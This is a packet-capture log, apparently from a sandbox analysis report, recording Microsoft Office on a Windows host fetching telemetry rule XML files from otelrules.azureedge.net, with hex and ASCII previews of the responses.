2024-10-31 16:27:13 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:13 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162713Z-15b8d89586fqj7k5h9gbd8vs980000000b300000000002u0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:13 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	62920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:13 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:14 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:14 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162714Z-16849878b78bcpfn2qf7sm6hsn0000000beg000000005mv4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:14 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	62921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:14 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:14 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:14 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a0fb8a5-701e-0050-6930-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162714Z-16849878b78smng4k6nq15r6s40000000bag0000000095rt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:14 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	62923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:14 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:14 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:14 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162714Z-15b8d89586fbmg6qpd9yf8zhm000000004pg00000000e7f4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:14 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	62922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:14 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:14 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:14 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: eb17c832-b01e-0097-1249-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162714Z-16849878b78qwx7pmw9x5fub1c00000007yg000000009ep8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:14 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	62924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:14 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:14 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:14 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: a3e027ec-201e-0071-5daf-2aff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162714Z-159b85dff8fbvrz4hC1DFW730c00000000v000000000e562 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:14 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	62925	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:14 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:14 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:14 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: b4512c6a-b01e-0053-06ac-2acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162714Z-159b85dff8fc5h75hC1DFWntr8000000019000000000ac3g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:14 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	62926	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:15 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:15 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:15 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: cdf7bdf1-501e-0029-3f94-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162715Z-17c5cb586f672xmrz843mf85fn00000008ng00000000h1cn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:15 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	62927	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:15 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:15 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:15 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 207ff7bf-701e-006f-1357-27afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162715Z-16849878b7828dsgct3vrzta70000000083000000000w0de x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 16:27:15 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	62928	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:15 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:15 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:15 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: d0af8e75-601e-0050-7953-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162715Z-17c5cb586f62tvgppdugz3gsrn00000000s0000000004e8a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:15 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	62929	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:15 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:15 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:15 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: eff8debc-001e-0065-199c-270b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162715Z-16849878b787wpl5wqkt5731b40000000amg0000000047gy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:15 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	62930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:15 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:15 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:15 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: fae3f4c7-d01e-0017-0559-27b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162715Z-15b8d89586fcvr6p5956n5d0rc0000000g2g000000001wt0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
